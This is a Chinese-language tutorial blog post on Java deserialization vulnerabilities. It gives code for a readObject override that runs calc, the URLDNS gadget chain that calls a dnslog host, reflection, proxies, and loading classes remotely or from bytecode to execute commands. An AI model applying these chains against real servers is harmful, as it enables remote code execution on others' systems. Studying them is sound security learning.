Java反序列化学习
前言
早知前路多艰辛,仙尊悔而我不悔。Java反序列化,免费一位,开始品鉴,学了这么久web,还没深入研究Java安全,人生一大罪过。诸君,请看。
序列化与反序列化
简单demo:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class serialize implements Serializable{
private String name;
private int age;
serialize(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
public static void main(String[] args) throws Exception {
// 序列化
FileOutputStream fos = new FileOutputStream("serialize.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
serialize serialize = new serialize("f12", 20);
oos.writeObject(serialize);
oos.close();
// 反序列化
FileInputStream fis = new FileInputStream("serialize.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
serialize s = (serialize) ois.readObject();
ois.close();
System.out.print(s);
}
}
// 输出
serialize@3b07d329
可以看出writeObject就是序列化(注:只有实现了Serializable接口的类才能被序列化),readObject就是反序列化,建议自己上手不看demo敲。那么这将造成什么问题,很明显,当用户能控制序列化的数据时,而服务端又有反序列化的操作时,这时将任人拿捏。我想执行什么操作就能执行什么操作
可能的形式
- 入口类的readObejct直接调用危险方法
- 入口类参数包含可控类,可控类里有危险方法
- 入口类参数包含可控类,该类又调用其他含危险方法的类
- 构造函数/静态代码块等类加载时隐式执行
java反序列化导致执行系统命令
简单demo:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
public class serialize implements Serializable{
private String name;
private int age;
serialize(String name, int age){
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public int getAge() {
return age;
}
public void setName(String name) {
this.name = name;
}
public void setAge(int age) {
this.age = age;
}
private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args) throws Exception {
FileOutputStream fos = new FileOutputStream("serialize.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(new serialize("f12", 20));
oos.close();
FileInputStream fis = new FileInputStream("serialize.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
serialize s = (serialize) ois.readObject();
System.out.println(s);
}
}
重写serialize类的readObject方法,当对serialize进行反序列化时调用的是重写后的readObject方法,也就会弹出计算器。不过这种情况基本不会发生(不会有人这么蠢,危险函数直接写在readObject里),通常是通过找到一条gadget,通过构造,最终在某个重写的readObject中执行命令。
反序列化的思路
- 都继承了Serializeable接口
- 入口类source(重写readObject、参数类型宽泛、jdk自带就更好、常见函数)
- 调用链(gadget chain)
- 执行类 sink(ssrf,rce....)
入口类
入口类一般是Map,Hashmap,HashTable
这些集合类,因为集合类型宽泛(泛型),因此肯定继承了Serializeable
接口,在Hashmap
类中也重写了readObject
方法:
为什么HashMap要自己实现writeObject和readObject方法
为什么要自己实现?如上文章所诉
调用链
所谓调用链就是一条完整的命令执行流程,在入口类中的readObject方法中,最好有一些常见的方法,这样不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的可能调用链中一般会使用很多重名函数,为了实现不同的效果
执行类
Java反序列化的目的就是为了执行命令,所以最终得找到一个可以执行命令的类,这是相对比较困难的
反序列化漏洞入门(URLDNS)分析
漏洞分析
开局先找重写了readObject的类,这里直接看HashMap:
这里s是我们可控,转变成key,进入了hash函数,继续跟进
这里调用了key的hashCode函数,也就是调用了我们可控类的hashCode函数,所以说同名函数在反序列化中是非常重要的,因为这里分析的是URLDNS链,我们看URL类中有无hashCode函数:
找到,这里有个判断,如果hashCode不等于-1,就直接返回,否则就进入handler.hashCode函数,在URL类中hashCode的值默认是-1,所以我们跟进:
这里重点在于getHostAddress
,顾名思义获取host地址,假如我们传入我们vps的地址,是不是就会访问我们的vps了呢?这里使用dnslog来测试:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS implements Serializable{
public static void serialize(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("urldns.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws Exception{
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<>();
try {
URL url = new URL("http://zanqlw.dnslog.cn/");
hashmap.put(url,1);
serialize(hashmap);
deserialize("urldns.bin");
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
成功拿到请求
之后才注意到一个问题,我们就算不序列化和反序列化都能拿到请求,这是为什么?问题出现在hashmap.put这里,我们调试追踪一下:
发现在put的时候就触发了这里的getHostAddress
,这时hashCode的值已经发生了改变,所以反序列化的时候根本就没触发DNS请求
那么怎么才能让我们反序列化的时候也触发DNS请求呢?hashCode的值肯定是要修改回-1的,如果要求只让我们反序列化的时候才触发DNS请求,put时的hashCode就不能是-1,所以怎么才能控制hashCode的值呢?这就需要用到反射的知识了
java反射
有反射就有正射
正射:通俗来讲就是我们常用的new,通过实例化类来获取一个对象
反射:跟正射反过来,通过实例化一个对象来获取它的类
举个栗子:
package f12;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
public class reflect {
public static void Serialize(Object obj) throws Exception {
FileOutputStream fos = new FileOutputStream("user.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {
// 正射
user user = new user("f12", 20);
Serialize(user);
// 反射
Class c = user.getClass();
Constructor constructor = c.getConstructor(String.class, int.class);
// 获取构造函数
user newuser = (user) constructor.newInstance("F12", 21);
System.out.println(newuser.getName());
// 修改属性
Field name = c.getDeclaredField("name");
// 设置允许修改私有属性
name.setAccessible(true);
name.set(newuser, "F13");
System.out.println(newuser.getName());
}
}
// 输出
F12
F13
可以看出通过反射修改了对象的值,那么就能进行操作了
再战URLDNS
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS implements Serializable{
public static void serialize(Object obj) throws Exception{
FileOutputStream fos = new FileOutputStream("urldns.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize(String filename) throws Exception{
FileInputStream fis = new FileInputStream(filename);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap = new HashMap<>();
try {
URL url = new URL("http://vcx4cu.dnslog.cn/");
Class u = url.getClass();
Constructor constructor = u.getConstructor(String.class);
URL newurl = (URL)constructor.newInstance("http://vcx4cu.dnslog.cn/");
Field hashCode = u.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(newurl, 1);
hashmap.put(newurl, 1);
hashCode.set(newurl, -1);
serialize(hashmap);
deserialize("urldns.bin");
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
成功复仇
JDK静态代理
一个demo:
package Proxy;
public interface Interface {
void rent();
void pay();
}
package Proxy;
public class Direct implements Interface{
public void rent(){
System.out.println("租房");
}
public void pay(){
System.out.println("付款");
}
}
package Proxy;
public class Proxy implements Interface{
public Interface user;
Proxy(Interface user){
this.user = user;
}
public void rent(){
user.rent();
System.out.println("中介帮你租房");
}
public void pay(){
user.pay();
System.out.println("中介帮你付款");
}
}
package Proxy;
public class Main {
public static void main(String[] args) {
Interface user = new Direct();
Interface newuser = new Proxy(user);
System.out.println("你自己:");
user.rent();
user.pay();
System.out.println("找中介:");
newuser.rent();
newuser.pay();
}
}
以上就是一个静态代理的例子,Proxy类相当于中介,我们可以通过它间接的去调用Direct的方法
静态代理的缺点就是当我们修改接口的化,Direct和Proxy类都得修改
JDK动态代理
package Proxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class UserInvokationHandler implements InvocationHandler {
Interface user;
UserInvokationHandler(Interface user){
this.user = user;
}
@Override
public Object invoke(Object invoke, Method method, Object[] args) throws Throwable{
System.out.println("这里是动态代理,调用了方法:"+method.getName());
method.invoke(user, args);
return null;
}
}
package Proxy;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) {
Interface user = new Direct();
// 动态代理
UserInvokationHandler userInvokationHandler = new UserInvokationHandler(user);
Interface newuser = (Interface) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvokationHandler);
newuser.rent();
newuser.pay();
}
}
以上就是动态代理,可能有点难以理解,总体上就是创建一个动态代理类,这里重写了invoke方法,方便展示,然后创建一个动态代理实例,传入的参数是Direct类的类加载器和接口,这样就代理上了Direct类,可以调用Direct类的方法了
动态代理与反序列化的关系
其实就是因为可能没有同名函数导致无法执行命令的问题,假如我们需要最终反序列化时执行B.danger(),我们的入口类时A(Object obj),但是A类里面并没有同名函数danger,只有A.abc => B.abc
,obj为我们可控的类,但如果obj是个代理类,obj(Object obj2),而这个代理类里调用了danger,那么我们就可以用obj来代理B类,从而调用到B类的danger函数,即让obj2为B类
类的动态加载
首先介绍两个代码块:
构造代码块和静态代码块:
{
System.out.println("构造代码块");
}
static {
System.out.println("静态代码块");
}
这里涉及到一个类加载的问题,类加载的时候会执行代码(初始化)
package ClassLoader;
public class User {
static {
System.out.println("静态代码块");
}
{
System.out.println("构造代码块");
}
User() {
System.out.println("无参构造函数");
}
User(String key) {
System.out.println("有参构造函数");
}
}
package ClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("ClassLoader.User");
}
}
// 输出
静态代码块
很明显这里只加载了静态代码块,其余代码块并未执行,我们可以设置类加载的时候不进行初始化,可以看到forName方法中initialize的默认值是true
package ClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
Class.forName("ClassLoader.User", false, ClassLoader.getSystemClassLoader());
}
}
// 无输出
设置不初始化的化,就不会执行代码,再来说说实例化也就我们的new,实例化跟初始化是不同的
package ClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
new User();
}
}
// 输出
静态代码块
构造代码块
无参构造函数
可以看到实例化是两个代码块都执行了,这就是实例化跟初始化的区别
双亲委派机制
所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
Java中提供的这四种类型的加载器,是有各自的职责的:
- Bootstrap ClassLoader ,主要负责加载Java核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
- Extention ClassLoader,主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
- Application ClassLoader ,主要负责加载当前应用的classpath下的所有类
- User ClassLoader , 用户自定义的类加载器,可加载指定路径的class文件
这样看来的话,用户自定义的类是不会让前两个加载器进行加载的,这里调试跟进一下加载过程
这里调用了loadclass,继续跟进
到这里,判断父加载器是否为空,不为空就调用父加载器进行加载
上面父加载器没找到,返回了APPClassLoader,这里进入URLClassLoader
然后进入defineClass
从结果上看加载进了User类的字节码,分析一下加载器的流程
ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclass(加载字节码)
URLClassLoader任意类加载
这个类加载器里有个loadclass方法可以通过url来加载类,首先再本地起个web服务
package ClassLoader;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
Class user = urlClassLoader.loadClass("ClassLoader.User");
user.newInstance();
}
}
// 输出
静态代码块
构造代码块
无参构造函数
ClassLoader加载字节码执行命令
ClassLoader.defineClass可以通过加载类的字节码来加载类,我们可以通过反射来获取到defineClass方法,加载我们自定义的类,来执行命令
package ClassLoader;
import java.io.IOException;
public class Eval {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
}
}
package ClassLoader;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
Method defindClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defindClass.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class eval = (Class) defindClass.invoke(cl, "ClassLoader.Eval", bytes,0, bytes.length );
eval.newInstance();
}
}
Unsafe加载字节码
package ClassLoader;
import sun.misc.Unsafe;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class eval = unsafe.defineClass("ClassLoader.Eval",bytes,0, bytes.length, cl, null);
eval.newInstance();
}
}
这里我们获取的是Unsafe的属性,而不是它的defineclass
方法,因为它被native修饰,没法被反射调用
而它的属性theUnsafe
其实就是Unsafe对象,所以获取这个属性,再调用defineclass来加载我们的自定义类
热门相关:准儿媳 末日乐园 最强神话帝皇 侯门弃女:妖孽丞相赖上门 龙皇武神